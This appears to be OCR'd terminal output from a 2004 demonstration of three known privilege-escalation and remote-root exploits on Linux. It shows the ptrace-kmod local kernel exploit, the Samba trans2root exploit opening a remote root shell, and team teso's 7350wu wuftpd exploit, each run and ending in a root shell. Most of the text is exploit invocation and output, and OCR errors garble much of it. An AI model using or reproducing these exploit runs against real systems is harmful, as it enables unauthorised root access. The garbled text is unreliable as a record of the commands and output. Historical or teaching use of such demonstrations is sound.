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File Edit Setup Control Window Help

Fed Hat Lirux release 7.2 (Enigma) ﬂ
kernel 2.4.7-10 on an iG86

login: demo

Last login: Mon May 3 18:47:33 from 192.168.5.1

[demolliny_host demold |s -1 ptrace-kmod. exe

“ W)X 1 demo demo 19920 Nov 13 01:05% ptrace-kmod.exe
[demolny_host demo]$ id

Lid=5000demo) gid=500(demo) groups=H00(demo)

[demolliny_host demol$ . /pt race-kmod. exe

[-] Unable to attach: Operation not permitted

Killed

[demoimy_host demol$ . /ot race-kmod. exe

[+] Attached to 944

[+] Signal caught

[+] Shellcode placed at 0x4001189d

[+] Mow wait for suid shell...

sh-2. 058 id

%id=0(;oot) gid=0(root) groups=0(root),1(bin),?(daemon),3(svs), 4 (adn),6(disk). 10
whee|

sh-2.054 date

Mon Mav 3 18:42:35 JST 2004

sh-2. 054 1
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1-haradat=[04-05-03 14:561 %0 ./trans?root.el -t Iirx86 -H 192.168.5.1 -h 192,76«

2.5.109 _J
(%] Using target twpe: |inx86

[¥] Listener started on port 1981

[*] Starting brute force mode. ..

[*] Return Address: Oxbfffd7ff

[+] Starting Shell 192.168.5.109:32772

--=[ Welcome to exploit_samba (uid=0(root) 2id=0{root) sroups=99(nobody))

id
uid=0{root) gid=0{root) groups=99{nobody)
date

Mor May 3 14:59:55 JST 2004
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1 haradats[04 05-03 14:35] %0 ./7350wu.exe -h 192.188.5.11
7350wy - wuftpd <= 2.6.0 =86/ 1inux remote root (mass enabled)
by team teso

phase 1 - login... login succeeded

phase 2 - testirg for wulrerability... wvulnerable, continuing

phase 3 - finding buffer distance on stack... HifHitt
found: 1100 (0x0000044c)

phase 4 - finding source buffer address... #ittRH T HHEHH
found: Oxbfffdbib

phase 5 - find destination buffer address... HHESHEEHEY
found: Oxbfttafdl

phase 6 - calculatinag return address
retaddr = Oxbfffdds3

phase 7 - getting retumn address location
found Oxbfffofdd

phase 8 - exploitation..
using return address location: Oxbfffcfdd

len = 510
75204020626791274514211817513660947028668510222160622076404425037294968863449191
234404352 3616611
1934652240
1934652240

19346522 4B rErErIERaEEs0 - - LT haEsil
uid=0(root]) gid=0(root) zroups=h0(ftp)

id

uid=0(root) zid=0(root) groups=b0(ftp)

date
Mo May 3 14:47:44 JST 2004
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